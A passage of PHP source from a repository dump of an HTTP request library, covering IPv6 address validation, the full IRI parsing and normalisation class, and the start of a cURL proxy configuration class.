$ip_parts); 109 | } 110 | else { 111 | return $ip_parts[0]; 112 | } 113 | } 114 | 115 | /** 116 | * Splits an IPv6 address into the IPv6 and IPv4 representation parts 117 | * 118 | * RFC 4291 allows you to represent the last two parts of an IPv6 address 119 | * using the standard IPv4 representation 120 | * 121 | * Example: 0:0:0:0:0:0:13.1.68.3 122 | * 0:0:0:0:0:FFFF:129.144.52.38 123 | * 124 | * @param string $ip An IPv6 address 125 | * @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part 126 | */ 127 | protected static function split_v6_v4($ip) { 128 | if (strpos($ip, '.') !== false) { 129 | $pos = strrpos($ip, ':'); 130 | $ipv6_part = substr($ip, 0, $pos); 131 | $ipv4_part = substr($ip, $pos + 1); 132 | return array($ipv6_part, $ipv4_part); 133 | } 134 | else { 135 | return array($ip, ''); 136 | } 137 | } 138 | 139 | /** 140 | * Checks an IPv6 address 141 | * 142 | * Checks if the given IP is a valid IPv6 address 143 | * 144 | * @param string $ip An IPv6 address 145 | * @return bool true if $ip is a valid IPv6 address 146 | */ 147 | public static function check_ipv6($ip) { 148 | $ip = self::uncompress($ip); 149 | list($ipv6, $ipv4) = self::split_v6_v4($ip); 150 | $ipv6 = explode(':', $ipv6); 151 | $ipv4 = explode('.', $ipv4); 152 | if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) { 153 | foreach ($ipv6 as $ipv6_part) { 154 | // The section can't be empty 155 | if ($ipv6_part === '') { 156 | return false; 157 | } 158 | 159 | // Nor can it be over four characters 160 | if (strlen($ipv6_part) > 4) { 161 | return false; 162 | } 163 | 164 | // Remove leading zeros (this is safe because of the above) 165 | $ipv6_part = ltrim($ipv6_part, '0'); 166 | if ($ipv6_part === '') { 167 | $ipv6_part = '0'; 168 | } 169 | 170 | // Check the value is valid 171 | $value = hexdec($ipv6_part); 172 | if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) { 173 | return false; 174 | } 175 | } 176 | if (count($ipv4) === 4) { 177 | foreach ($ipv4 as $ipv4_part) { 178 | $value = (int) $ipv4_part; 179 | if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) { 180 | return false; 181 | } 182 | } 183 | } 184 | return true; 185 | } 186 | else { 187 | return false; 188 | } 189 | } 190 | } 191 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/IRI.php: -------------------------------------------------------------------------------- 1 | array( 124 | 'port' => 674 125 | ), 126 | 'dict' => array( 127 | 'port' => 2628 128 | ), 129 | 'file' => array( 130 | 'ihost' => 'localhost' 131 | ), 132 | 'http' => array( 133 | 'port' => 80, 134 | ), 135 | 'https' => array( 136 | 'port' => 443, 137 | ), 138 | ); 139 | 140 | /** 141 | * Return the entire IRI when you try and read the object as a string 142 | * 143 | * @return string 144 | */ 145 | public function __toString() { 146 | return $this->get_iri(); 147 | } 148 | 149 | /** 150 | * Overload __set() to provide access via properties 151 | * 152 | * @param string $name Property name 153 | * @param mixed $value Property value 154 | */ 155 | public function __set($name, $value) { 156 | if (method_exists($this, 'set_' . $name)) { 157 | call_user_func(array($this, 'set_' . $name), $value); 158 | } 159 | elseif ( 160 | $name === 'iauthority' 161 | || $name === 'iuserinfo' 162 | || $name === 'ihost' 163 | || $name === 'ipath' 164 | || $name === 'iquery' 165 | || $name === 'ifragment' 166 | ) { 167 | call_user_func(array($this, 'set_' . substr($name, 1)), $value); 168 | } 169 | } 170 | 171 | /** 172 | * Overload __get() to provide access via properties 173 | * 174 | * @param string $name Property name 175 | * @return mixed 176 | */ 177 | public function __get($name) { 178 | // isset() returns false for null, we don't want to do that 179 | // Also why we use array_key_exists below instead of isset() 180 | $props = get_object_vars($this); 181 | 182 | if ( 183 | $name === 'iri' || 184 | $name === 'uri' || 185 | $name === 'iauthority' || 186 | $name === 'authority' 187 | ) { 188 | $method = 'get_' . $name; 189 | $return = $this->$method(); 190 | } 191 | elseif (array_key_exists($name, $props)) { 192 | $return = $this->$name; 193 | } 194 | // host -> ihost 195 | elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) { 196 | $name = $prop; 197 | $return = $this->$prop; 198 | } 199 | // ischeme -> scheme 200 | elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) { 201 | $name = $prop; 202 | $return = $this->$prop; 203 | } 204 | else { 205 | trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE); 206 | $return = null; 207 | } 208 | 209 | if ($return === null && isset($this->normalization[$this->scheme][$name])) { 210 | return $this->normalization[$this->scheme][$name]; 211 | } 212 | else { 213 | return $return; 214 | } 215 | } 216 | 217 | /** 218 | * Overload __isset() to provide access via properties 219 | * 220 | * @param string $name Property name 221 | * @return bool 222 | */ 223 | public function __isset($name) { 224 | return (method_exists($this, 'get_' . $name) || isset($this->$name)); 225 | } 226 | 227 | /** 228 | * Overload __unset() to provide access via properties 229 | * 230 | * @param string $name Property name 231 | */ 232 | public function __unset($name) { 233 | if (method_exists($this, 'set_' . $name)) { 234 | call_user_func(array($this, 'set_' . $name), ''); 235 | } 236 | } 237 | 238 | /** 239 | * Create a new IRI object, from a specified string 240 | * 241 | * @param string|null $iri 242 | */ 243 | public function __construct($iri = null) { 244 | $this->set_iri($iri); 245 | } 246 | 247 | /** 248 | * Create a new IRI object by resolving a relative IRI 249 | * 250 | * Returns false if $base is not absolute, otherwise an IRI. 251 | * 252 | * @param IRI|string $base (Absolute) Base IRI 253 | * @param IRI|string $relative Relative IRI 254 | * @return IRI|false 255 | */ 256 | public static function absolutize($base, $relative) { 257 | if (!($relative instanceof Requests_IRI)) { 258 | $relative = new Requests_IRI($relative); 259 | } 260 | if (!$relative->is_valid()) { 261 | return false; 262 | } 263 | elseif ($relative->scheme !== null) { 264 | return clone $relative; 265 | } 266 | 267 | if (!($base instanceof Requests_IRI)) { 268 | $base = new Requests_IRI($base); 269 | } 270 | if ($base->scheme === null || !$base->is_valid()) { 271 | return false; 272 | } 273 | 274 | if ($relative->get_iri() !== '') { 275 | if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) { 276 | $target = clone $relative; 277 | $target->scheme = $base->scheme; 278 | } 279 | else { 280 | $target = new Requests_IRI; 281 | $target->scheme = $base->scheme; 282 | $target->iuserinfo = $base->iuserinfo; 283 | $target->ihost = $base->ihost; 284 | $target->port = $base->port; 285 | if ($relative->ipath !== '') { 286 | if ($relative->ipath[0] === '/') { 287 | $target->ipath = $relative->ipath; 288 | } 289 | elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') { 290 | $target->ipath = '/' . $relative->ipath; 291 | } 292 | elseif (($last_segment = strrpos($base->ipath, '/')) !== false) { 293 | $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath; 294 | } 295 | else { 296 | $target->ipath = $relative->ipath; 297 | } 298 | $target->ipath = $target->remove_dot_segments($target->ipath); 299 | $target->iquery = $relative->iquery; 300 | } 301 | else { 302 | $target->ipath = $base->ipath; 303 | if ($relative->iquery !== null) { 304 | $target->iquery = $relative->iquery; 305 | } 306 | elseif ($base->iquery !== null) { 307 | $target->iquery = $base->iquery; 308 | } 309 | } 310 | $target->ifragment = $relative->ifragment; 311 | } 312 | } 313 | else { 314 | $target = clone $base; 315 | $target->ifragment = null; 316 | } 317 | $target->scheme_normalization(); 318 | return $target; 319 | } 320 | 321 | /** 322 | * Parse an IRI into scheme/authority/path/query/fragment segments 323 | * 324 | * @param string $iri 325 | * @return array 326 | */ 327 | protected function parse_iri($iri) { 328 | $iri = trim($iri, "\x20\x09\x0A\x0C\x0D"); 329 | $has_match = preg_match('/^((?P[^:\/?#]+):)?(\/\/(?P[^\/?#]*))?(?P[^?#]*)(\?(?P[^#]*))?(#(?P.*))?$/', $iri, $match); 330 | if (!$has_match) { 331 | throw new Requests_Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri); 332 | } 333 | 334 | if ($match[1] === '') { 335 | $match['scheme'] = null; 336 | } 337 | if (!isset($match[3]) || $match[3] === '') { 338 | $match['authority'] = null; 339 | } 340 | if (!isset($match[5])) { 341 | $match['path'] = ''; 342 | } 343 | if (!isset($match[6]) || $match[6] === '') { 344 | $match['query'] = null; 345 | } 346 | if (!isset($match[8]) || $match[8] === '') { 347 | $match['fragment'] = null; 348 | } 349 | return $match; 350 | } 351 | 352 | /** 353 | * Remove dot segments from a path 354 | * 355 | * @param string $input 356 | * @return string 357 | */ 358 | protected function remove_dot_segments($input) { 359 | $output = ''; 360 | while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') { 361 | // A: If the input buffer begins with a prefix of "../" or "./", 362 | // then remove that prefix from the input buffer; otherwise, 363 | if (strpos($input, '../') === 0) { 364 | $input = substr($input, 3); 365 | } 366 | elseif (strpos($input, './') === 0) { 367 | $input = substr($input, 2); 368 | } 369 | // B: if the input buffer begins with a prefix of "/./" or "/.", 370 | // where "." is a complete path segment, then replace that prefix 371 | // with "/" in the input buffer; otherwise, 372 | elseif (strpos($input, '/./') === 0) { 373 | $input = substr($input, 2); 374 | } 375 | elseif ($input === '/.') { 376 | $input = '/'; 377 | } 378 | // C: if the input buffer begins with a prefix of "/../" or "/..", 379 | // where ".." is a complete path segment, then replace that prefix 380 | // with "/" in the input buffer and remove the last segment and its 381 | // preceding "/" (if any) from the output buffer; otherwise, 382 | elseif (strpos($input, '/../') === 0) { 383 | $input = substr($input, 3); 384 | $output = substr_replace($output, '', strrpos($output, '/')); 385 | } 386 | elseif ($input === '/..') { 387 | $input = '/'; 388 | $output = substr_replace($output, '', strrpos($output, '/')); 389 | } 390 | // D: if the input buffer consists only of "." or "..", then remove 391 | // that from the input buffer; otherwise, 392 | elseif ($input === '.' || $input === '..') { 393 | $input = ''; 394 | } 395 | // E: move the first path segment in the input buffer to the end of 396 | // the output buffer, including the initial "/" character (if any) 397 | // and any subsequent characters up to, but not including, the next 398 | // "/" character or the end of the input buffer 399 | elseif (($pos = strpos($input, '/', 1)) !== false) { 400 | $output .= substr($input, 0, $pos); 401 | $input = substr_replace($input, '', 0, $pos); 402 | } 403 | else { 404 | $output .= $input; 405 | $input = ''; 406 | } 407 | } 408 | return $output . $input; 409 | } 410 | 411 | /** 412 | * Replace invalid character with percent encoding 413 | * 414 | * @param string $string Input string 415 | * @param string $extra_chars Valid characters not in iunreserved or 416 | * iprivate (this is ASCII-only) 417 | * @param bool $iprivate Allow iprivate 418 | * @return string 419 | */ 420 | protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false) { 421 | // Normalize as many pct-encoded sections as possible 422 | $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array(&$this, 'remove_iunreserved_percent_encoded'), $string); 423 | 424 | // Replace invalid percent characters 425 | $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string); 426 | 427 | // Add unreserved and % to $extra_chars (the latter is safe because all 428 | // pct-encoded sections are now valid). 429 | $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%'; 430 | 431 | // Now replace any bytes that aren't allowed with their pct-encoded versions 432 | $position = 0; 433 | $strlen = strlen($string); 434 | while (($position += strspn($string, $extra_chars, $position)) < $strlen) { 435 | $value = ord($string[$position]); 436 | 437 | // Start position 438 | $start = $position; 439 | 440 | // By default we are valid 441 | $valid = true; 442 | 443 | // No one byte sequences are valid due to the while. 444 | // Two byte sequence: 445 | if (($value & 0xE0) === 0xC0) { 446 | $character = ($value & 0x1F) << 6; 447 | $length = 2; 448 | $remaining = 1; 449 | } 450 | // Three byte sequence: 451 | elseif (($value & 0xF0) === 0xE0) { 452 | $character = ($value & 0x0F) << 12; 453 | $length = 3; 454 | $remaining = 2; 455 | } 456 | // Four byte sequence: 457 | elseif (($value & 0xF8) === 0xF0) { 458 | $character = ($value & 0x07) << 18; 459 | $length = 4; 460 | $remaining = 3; 461 | } 462 | // Invalid byte: 463 | else { 464 | $valid = false; 465 | $length = 1; 466 | $remaining = 0; 467 | } 468 | 469 | if ($remaining) { 470 | if ($position + $length <= $strlen) { 471 | for ($position++; $remaining; $position++) { 472 | $value = ord($string[$position]); 473 | 474 | // Check that the byte is valid, then add it to the character: 475 | if (($value & 0xC0) === 0x80) { 476 | $character |= ($value & 0x3F) << (--$remaining * 6); 477 | } 478 | // If it is invalid, count the sequence as invalid and reprocess the current byte: 479 | else { 480 | $valid = false; 481 | $position--; 482 | break; 483 | } 484 | } 485 | } 486 | else { 487 | $position = $strlen - 1; 488 | $valid = false; 489 | } 490 | } 491 | 492 | // Percent encode anything invalid or not in ucschar 493 | if ( 494 | // Invalid sequences 495 | !$valid 496 | // Non-shortest form sequences are invalid 497 | || $length > 1 && $character <= 0x7F 498 | || $length > 2 && $character <= 0x7FF 499 | || $length > 3 && $character <= 0xFFFF 500 | // Outside of range of ucschar codepoints 501 | // Noncharacters 502 | || ($character & 0xFFFE) === 0xFFFE 503 | || $character >= 0xFDD0 && $character <= 0xFDEF 504 | || ( 505 | // Everything else not in ucschar 506 | $character > 0xD7FF && $character < 0xF900 507 | || $character < 0xA0 508 | || $character > 0xEFFFD 509 | ) 510 | && ( 511 | // Everything not in iprivate, if it applies 512 | !$iprivate 513 | || $character < 0xE000 514 | || $character > 0x10FFFD 515 | ) 516 | ) { 517 | // If we were a character, pretend we weren't, but rather an error. 518 | if ($valid) { 519 | $position--; 520 | } 521 | 522 | for ($j = $start; $j <= $position; $j++) { 523 | $string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1); 524 | $j += 2; 525 | $position += 2; 526 | $strlen += 2; 527 | } 528 | } 529 | } 530 | 531 | return $string; 532 | } 533 | 534 | /** 535 | * Callback function for preg_replace_callback. 536 | * 537 | * Removes sequences of percent encoded bytes that represent UTF-8 538 | * encoded characters in iunreserved 539 | * 540 | * @param array $match PCRE match 541 | * @return string Replacement 542 | */ 543 | protected function remove_iunreserved_percent_encoded($match) { 544 | // As we just have valid percent encoded sequences we can just explode 545 | // and ignore the first member of the returned array (an empty string). 546 | $bytes = explode('%', $match[0]); 547 | 548 | // Initialize the new string (this is what will be returned) and that 549 | // there are no bytes remaining in the current sequence (unsurprising 550 | // at the first byte!). 551 | $string = ''; 552 | $remaining = 0; 553 | 554 | // Loop over each and every byte, and set $value to its value 555 | for ($i = 1, $len = count($bytes); $i < $len; $i++) { 556 | $value = hexdec($bytes[$i]); 557 | 558 | // If we're the first byte of sequence: 559 | if (!$remaining) { 560 | // Start position 561 | $start = $i; 562 | 563 | // By default we are valid 564 | $valid = true; 565 | 566 | // One byte sequence: 567 | if ($value <= 0x7F) { 568 | $character = $value; 569 | $length = 1; 570 | } 571 | // Two byte sequence: 572 | elseif (($value & 0xE0) === 0xC0) { 573 | $character = ($value & 0x1F) << 6; 574 | $length = 2; 575 | $remaining = 1; 576 | } 577 | // Three byte sequence: 578 | elseif (($value & 0xF0) === 0xE0) { 579 | $character = ($value & 0x0F) << 12; 580 | $length = 3; 581 | $remaining = 2; 582 | } 583 | // Four byte sequence: 584 | elseif (($value & 0xF8) === 0xF0) { 585 | $character = ($value & 0x07) << 18; 586 | $length = 4; 587 | $remaining = 3; 588 | } 589 | // Invalid byte: 590 | else { 591 | $valid = false; 592 | $remaining = 0; 593 | } 594 | } 595 | // Continuation byte: 596 | else { 597 | // Check that the byte is valid, then add it to the character: 598 | if (($value & 0xC0) === 0x80) { 599 | $remaining--; 600 | $character |= ($value & 0x3F) << ($remaining * 6); 601 | } 602 | // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence: 603 | else { 604 | $valid = false; 605 | $remaining = 0; 606 | $i--; 607 | } 608 | } 609 | 610 | // If we've reached the end of the current byte sequence, append it to Unicode::$data 611 | if (!$remaining) { 612 | // Percent encode anything invalid or not in iunreserved 613 | if ( 614 | // Invalid sequences 615 | !$valid 616 | // Non-shortest form sequences are invalid 617 | || $length > 1 && $character <= 0x7F 618 | || $length > 2 && $character <= 0x7FF 619 | || $length > 3 && $character <= 0xFFFF 620 | // Outside of range of iunreserved codepoints 621 | || $character < 0x2D 622 | || $character > 0xEFFFD 623 | // Noncharacters 624 | || ($character & 0xFFFE) === 0xFFFE 625 | || $character >= 0xFDD0 && $character <= 0xFDEF 626 | // Everything else not in iunreserved (this is all BMP) 627 | || $character === 0x2F 628 | || $character > 0x39 && $character < 0x41 629 | || $character > 0x5A && $character < 0x61 630 | || $character > 0x7A && $character < 0x7E 631 | || $character > 0x7E && $character < 0xA0 632 | || $character > 0xD7FF && $character < 0xF900 633 | ) { 634 | for ($j = $start; $j <= $i; $j++) { 635 | $string .= '%' . strtoupper($bytes[$j]); 636 | } 637 | } 638 | else { 639 | for ($j = $start; $j <= $i; $j++) { 640 | $string .= chr(hexdec($bytes[$j])); 641 | } 642 | } 643 | } 644 | } 645 | 646 | // If we have any bytes left over they are invalid (i.e., we are 647 | // mid-way through a multi-byte sequence) 648 | if ($remaining) { 649 | for ($j = $start; $j < $len; $j++) { 650 | $string .= '%' . strtoupper($bytes[$j]); 651 | } 652 | } 653 | 654 | return $string; 655 | } 656 | 657 | protected function scheme_normalization() { 658 | if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) { 659 | $this->iuserinfo = null; 660 | } 661 | if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) { 662 | $this->ihost = null; 663 | } 664 | if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) { 665 | $this->port = null; 666 | } 667 | if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) { 668 | $this->ipath = ''; 669 | } 670 | if (isset($this->ihost) && empty($this->ipath)) { 671 | $this->ipath = '/'; 672 | } 673 | if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) { 674 | $this->iquery = null; 675 | } 676 | if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) { 677 | $this->ifragment = null; 678 | } 679 | } 680 | 681 | /** 682 | * Check if the object represents a valid IRI. This needs to be done on each 683 | * call as some things change depending on another part of the IRI. 684 | * 685 | * @return bool 686 | */ 687 | public function is_valid() { 688 | $isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null; 689 | if ($this->ipath !== '' && 690 | ( 691 | $isauthority && ( 692 | $this->ipath[0] !== '/' || 693 | substr($this->ipath, 0, 2) === '//' 694 | ) || 695 | ( 696 | $this->scheme === null && 697 | !$isauthority && 698 | strpos($this->ipath, ':') !== false && 699 | (strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/')) 700 | ) 701 | ) 702 | ) { 703 | return false; 704 | } 705 | 706 | return true; 707 | } 708 | 709 | /** 710 | * Set the entire IRI. Returns true on success, false on failure (if there 711 | * are any invalid characters). 712 | * 713 | * @param string $iri 714 | * @return bool 715 | */ 716 | protected function set_iri($iri) { 717 | static $cache; 718 | if (!$cache) { 719 | $cache = array(); 720 | } 721 | 722 | if ($iri === null) { 723 | return true; 724 | } 725 | if (isset($cache[$iri])) { 726 | list($this->scheme, 727 | $this->iuserinfo, 728 | $this->ihost, 729 | $this->port, 730 | $this->ipath, 731 | $this->iquery, 732 | $this->ifragment, 733 | $return) = $cache[$iri]; 734 | return $return; 735 | } 736 | 737 | $parsed = $this->parse_iri((string) $iri); 738 | 739 | $return = $this->set_scheme($parsed['scheme']) 740 | && $this->set_authority($parsed['authority']) 741 | && $this->set_path($parsed['path']) 742 | && $this->set_query($parsed['query']) 743 | && $this->set_fragment($parsed['fragment']); 744 | 745 | $cache[$iri] = array($this->scheme, 746 | $this->iuserinfo, 747 | $this->ihost, 748 | $this->port, 749 | $this->ipath, 750 | $this->iquery, 751 | $this->ifragment, 752 | $return); 753 | return $return; 754 | } 755 | 756 | /** 757 | * Set the scheme. Returns true on success, false on failure (if there are 758 | * any invalid characters). 759 | * 760 | * @param string $scheme 761 | * @return bool 762 | */ 763 | protected function set_scheme($scheme) { 764 | if ($scheme === null) { 765 | $this->scheme = null; 766 | } 767 | elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) { 768 | $this->scheme = null; 769 | return false; 770 | } 771 | else { 772 | $this->scheme = strtolower($scheme); 773 | } 774 | return true; 775 | } 776 | 777 | /** 778 | * Set the authority. Returns true on success, false on failure (if there are 779 | * any invalid characters). 780 | * 781 | * @param string $authority 782 | * @return bool 783 | */ 784 | protected function set_authority($authority) { 785 | static $cache; 786 | if (!$cache) { 787 | $cache = array(); 788 | } 789 | 790 | if ($authority === null) { 791 | $this->iuserinfo = null; 792 | $this->ihost = null; 793 | $this->port = null; 794 | return true; 795 | } 796 | if (isset($cache[$authority])) { 797 | list($this->iuserinfo, 798 | $this->ihost, 799 | $this->port, 800 | $return) = $cache[$authority]; 801 | 802 | return $return; 803 | } 804 | 805 | $remaining = $authority; 806 | if (($iuserinfo_end = strrpos($remaining, '@')) !== false) { 807 | $iuserinfo = substr($remaining, 0, $iuserinfo_end); 808 | $remaining = substr($remaining, $iuserinfo_end + 1); 809 | } 810 | else { 811 | $iuserinfo = null; 812 | } 813 | if (($port_start = strpos($remaining, ':', strpos($remaining, ']'))) !== false) { 814 | $port = substr($remaining, $port_start + 1); 815 | if ($port === false || $port === '') { 816 | $port = null; 817 | } 818 | $remaining = substr($remaining, 0, $port_start); 819 | } 820 | else { 821 | $port = null; 822 | } 823 | 824 | $return = $this->set_userinfo($iuserinfo) && 825 | $this->set_host($remaining) && 826 | $this->set_port($port); 827 | 828 | $cache[$authority] = array($this->iuserinfo, 829 | $this->ihost, 830 | $this->port, 831 | $return); 832 | 833 | return $return; 834 | } 835 | 836 | /** 837 | * Set the iuserinfo. 838 | * 839 | * @param string $iuserinfo 840 | * @return bool 841 | */ 842 | protected function set_userinfo($iuserinfo) { 843 | if ($iuserinfo === null) { 844 | $this->iuserinfo = null; 845 | } 846 | else { 847 | $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:'); 848 | $this->scheme_normalization(); 849 | } 850 | 851 | return true; 852 | } 853 | 854 | /** 855 | * Set the ihost. Returns true on success, false on failure (if there are 856 | * any invalid characters). 857 | * 858 | * @param string $ihost 859 | * @return bool 860 | */ 861 | protected function set_host($ihost) { 862 | if ($ihost === null) { 863 | $this->ihost = null; 864 | return true; 865 | } 866 | if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') { 867 | if (Requests_IPv6::check_ipv6(substr($ihost, 1, -1))) { 868 | $this->ihost = '[' . Requests_IPv6::compress(substr($ihost, 1, -1)) . ']'; 869 | } 870 | else { 871 | $this->ihost = null; 872 | return false; 873 | } 874 | } 875 | else { 876 | $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;='); 877 | 878 | // Lowercase, but ignore pct-encoded sections (as they should 879 | // remain uppercase). This must be done after the previous step 880 | // as that can add unescaped characters. 881 | $position = 0; 882 | $strlen = strlen($ihost); 883 | while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) { 884 | if ($ihost[$position] === '%') { 885 | $position += 3; 886 | } 887 | else { 888 | $ihost[$position] = strtolower($ihost[$position]); 889 | $position++; 890 | } 891 | } 892 | 893 | $this->ihost = $ihost; 894 | } 895 | 896 | $this->scheme_normalization(); 897 | 898 | return true; 899 | } 900 | 901 | /** 902 | * Set the port. Returns true on success, false on failure (if there are 903 | * any invalid characters). 904 | * 905 | * @param string $port 906 | * @return bool 907 | */ 908 | protected function set_port($port) { 909 | if ($port === null) { 910 | $this->port = null; 911 | return true; 912 | } 913 | 914 | if (strspn($port, '0123456789') === strlen($port)) { 915 | $this->port = (int) $port; 916 | $this->scheme_normalization(); 917 | return true; 918 | } 919 | 920 | $this->port = null; 921 | return false; 922 | } 923 | 924 | /** 925 | * Set the ipath. 926 | * 927 | * @param string $ipath 928 | * @return bool 929 | */ 930 | protected function set_path($ipath) { 931 | static $cache; 932 | if (!$cache) { 933 | $cache = array(); 934 | } 935 | 936 | $ipath = (string) $ipath; 937 | 938 | if (isset($cache[$ipath])) { 939 | $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)]; 940 | } 941 | else { 942 | $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/'); 943 | $removed = $this->remove_dot_segments($valid); 944 | 945 | $cache[$ipath] = array($valid, $removed); 946 | $this->ipath = ($this->scheme !== null) ? $removed : $valid; 947 | } 948 | $this->scheme_normalization(); 949 | return true; 950 | } 951 | 952 | /** 953 | * Set the iquery. 954 | * 955 | * @param string $iquery 956 | * @return bool 957 | */ 958 | protected function set_query($iquery) { 959 | if ($iquery === null) { 960 | $this->iquery = null; 961 | } 962 | else { 963 | $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true); 964 | $this->scheme_normalization(); 965 | } 966 | return true; 967 | } 968 | 969 | /** 970 | * Set the ifragment. 971 | * 972 | * @param string $ifragment 973 | * @return bool 974 | */ 975 | protected function set_fragment($ifragment) { 976 | if ($ifragment === null) { 977 | $this->ifragment = null; 978 | } 979 | else { 980 | $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?'); 981 | $this->scheme_normalization(); 982 | } 983 | return true; 984 | } 985 | 986 | /** 987 | * Convert an IRI to a URI (or parts thereof) 988 | * 989 | * @param string|bool IRI to convert (or false from {@see get_iri}) 990 | * @return string|false URI if IRI is valid, false otherwise. 991 | */ 992 | protected function to_uri($string) { 993 | if (!is_string($string)) { 994 | return false; 995 | } 996 | 997 | static $non_ascii; 998 | if (!$non_ascii) { 999 | $non_ascii = implode('', range("\x80", "\xFF")); 1000 | } 1001 | 1002 | $position = 0; 1003 | $strlen = strlen($string); 1004 | while (($position += strcspn($string, $non_ascii, $position)) < $strlen) { 1005 | $string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1); 1006 | $position += 3; 1007 | $strlen += 2; 1008 | } 1009 | 1010 | return $string; 1011 | } 1012 | 1013 | /** 1014 | * Get the complete IRI 1015 | * 1016 | * @return string 1017 | */ 1018 | protected function get_iri() { 1019 | if (!$this->is_valid()) { 1020 | return false; 1021 | } 1022 | 1023 | $iri = ''; 1024 | if ($this->scheme !== null) { 1025 | $iri .= $this->scheme . ':'; 1026 | } 1027 | if (($iauthority = $this->get_iauthority()) !== null) { 1028 | $iri .= '//' . $iauthority; 1029 | } 1030 | $iri .= $this->ipath; 1031 | if ($this->iquery !== null) { 1032 | $iri .= '?' . $this->iquery; 1033 | } 1034 | if ($this->ifragment !== null) { 1035 | $iri .= '#' . $this->ifragment; 1036 | } 1037 | 1038 | return $iri; 1039 | } 1040 | 1041 | /** 1042 | * Get the complete URI 1043 | * 1044 | * @return string 1045 | */ 1046 | protected function get_uri() { 1047 | return $this->to_uri($this->get_iri()); 1048 | } 1049 | 1050 | /** 1051 | * Get the complete iauthority 1052 | * 1053 | * @return string 1054 | */ 1055 | protected function get_iauthority() { 1056 | if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) { 1057 | return null; 1058 | } 1059 | 1060 | $iauthority = ''; 1061 | if ($this->iuserinfo !== null) { 1062 | $iauthority .= $this->iuserinfo . '@'; 1063 | } 1064 | if ($this->ihost !== null) { 1065 | $iauthority .= $this->ihost; 1066 | } 1067 | if ($this->port !== null) { 1068 | $iauthority .= ':' . $this->port; 1069 | } 1070 | return $iauthority; 1071 | } 1072 | 1073 | /** 1074 | * Get the complete authority 1075 | * 1076 | * @return string 1077 | */ 1078 | protected function get_authority() { 1079 | $iauthority = $this->get_iauthority(); 1080 | if (is_string($iauthority)) { 1081 | return $this->to_uri($iauthority); 1082 | } 1083 | else { 1084 | return $iauthority; 1085 | } 1086 | } 1087 | } 1088 | -------------------------------------------------------------------------------- /php-proxy/requests/Requests/Proxy.php: -------------------------------------------------------------------------------- 1 | proxy = $args; 60 | } 61 | elseif (is_array($args)) { 62 | if (count($args) == 1) { 63 | list($this->proxy) = $args; 64 | } 65 | elseif (count($args) == 3) { 66 | list($this->proxy, $this->user, $this->pass) = $args; 67 | $this->use_authentication = true; 68 | } 69 | else { 70 | throw new Requests_Exception('Invalid number of arguments', 'proxyhttpbadargs'); 71 | } 72 | } 73 | } 74 | 75 | /** 76 | * Register the necessary callbacks 77 | * 78 | * @since 1.6 79 | * @see curl_before_send 80 | * @see fsockopen_remote_socket 81 | * @see fsockopen_remote_host_path 82 | * @see fsockopen_header 83 | * @param Requests_Hooks $hooks Hook system 84 | */ 85 | public function register(Requests_Hooks &$hooks) { 86 | $hooks->register('curl.before_send', array(&$this, 'curl_before_send')); 87 | 88 | $hooks->register('fsockopen.remote_socket', array(&$this, 'fsockopen_remote_socket')); 89 | $hooks->register('fsockopen.remote_host_path', array(&$this, 'fsockopen_remote_host_path')); 90 | if ($this->use_authentication) { 91 | $hooks->register('fsockopen.after_headers', array(&$this, 'fsockopen_header')); 92 | } 93 | } 94 | 95 | /** 96 | * Set cURL parameters before the data is sent 97 | * 98 | * @since 1.6 99 | * @param resource $handle cURL resource 100 | */ 101 | public function curl_before_send(&$handle) { 102 | curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP); 103 | curl_setopt($handle, CURLOPT_PROXY, $this->proxy); 104 | 105 | if ($this->use_authentication) { 106 | curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY); 107 | curl_setopt($handle, 